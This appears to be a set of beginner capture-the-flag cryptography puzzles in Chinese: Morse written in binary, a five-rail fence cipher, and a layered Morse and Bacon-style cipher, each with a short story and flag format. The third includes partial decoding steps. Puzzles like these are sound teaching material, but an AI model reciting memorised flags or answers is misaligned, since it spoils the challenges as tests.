Morse 小鱼得意的瞟了你一眼,神神气气的拿走了答对谜语的奖励,你心里暗暗较劲 想着下一个谜题一定要比小鱼更快的解出来。不知不觉你们走到了下一个谜题的地方,这个地方有些奇怪。 上面没什么提示信息,只是刻着一些0和1,感觉有着一些奇怪的规律,你觉得有些熟悉,但是就是想不起来 这些01代表着什么意思。一旁的小鱼看你眉头紧锁的样子,扑哧一笑,对你讲“不好意思我又猜到答案了。”(flag格式为cyberpeace{xxxxxxxxxx},均为小写)
11 111 010 000 0 1010 111 100 0 00 000 000 111 00 10 1 0 010 0 000 1 00 10 110
如题名
Railfence 被小鱼一连将了两军,你心里更加不服气了。两个人一起继续往前走, 一路上杂耍卖艺的很多,但是你俩毫无兴趣,直直的就冲着下一个谜题的地方去了。 到了一看,这个谜面看起来就已经有点像答案了样子了,旁边还画着一张画,是一副农家小院的 图画,上面画着一个农妇在栅栏里面喂5只小鸡,你嘿嘿一笑对着小鱼说这次可是我先找到答案了。
ccehgyaefnpeoobe{lcirg}epriec_ora_g
如题名
不仅仅是Morse “这个题目和我们刚刚做的那个好像啊但是为什么按照刚刚的方法做出来答案却不对呢” ,你奇怪的问了问小鱼,“可能是因为还有一些奇怪的加密方式在里面吧,我们在仔细观察观察”。两个人 安安静静的坐下来开始思考,很耐心的把自己可以想到的加密方式一种种的过了一遍,十多分钟后两个人 异口同声的说“我想到了!”。一种食物,格式为cyberpeace{小写的你解出的答案}
1 --/.-/-.--/..--.-/-..././..--.-/..../.-/...-/./..--.-/.-/-./---/-/...././.-./..--.-/-.././-.-./---/-.././..../..../..../..../.-/.-/.-/.-/.-/-.../.-/.-/-.../-.../-.../.-/.-/-.../-.../.-/.-/.-/.-/.-/.-/.-/.-/-.../.-/.-/-.../.-/-.../.-/.-/.-/.-/.-/.-/.-/-.../-.../.-/-.../.-/.-/.-/-.../-.../.-/.-/.-/-.../-.../.-/.-/-.../.-/.-/.-/.-/-.../.-/-.../.-/.-/-.../.-/.-/.-/-.../-.../.-/-.../.-/.-/.-/-.../.-/.-/.-/-.../.-/.-/-.../.-/-.../-.../.-/.-/-.../-.../-.../.-/-.../.-/.-/.-/-.../.-/-.../.-/-.../-.../.-/.-/.-/-.../-.../.-/-.../.-/.-/.-/-.../.-/.-/-.../.-/.-/-.../.-/.-/.-/.-/-.../-.../.-/-.../-.../.-/.-/-.../-.../.-/.-/-.../.-/.-/-.../.-/.-/.-/-.../.-/.-/-.../.-/.-/-.../.-/.-/-.../.-/-.../.-/.-/-.../-.../.-/-.../.-/.-/.-/.-/-.../-.../.-/-.../.-/.-/-.../-.../.-
摩斯密码解密得
1 MAY_BE_HAVE_ANOTHER_DECODEHHHHAAAAABAABBBAABBAAAAAAAABAABABAAAAAAABBABAAABBAAABBAABAAAABABAABAAABBABAAABAAABAABABBAABBBABAAABABABBAAABBABAAABAABAABAAAABBABBAABBAABAABAAABAABAABAABABAABBABAAAABBABAABBA
cyberpeace{} 包裹得 flag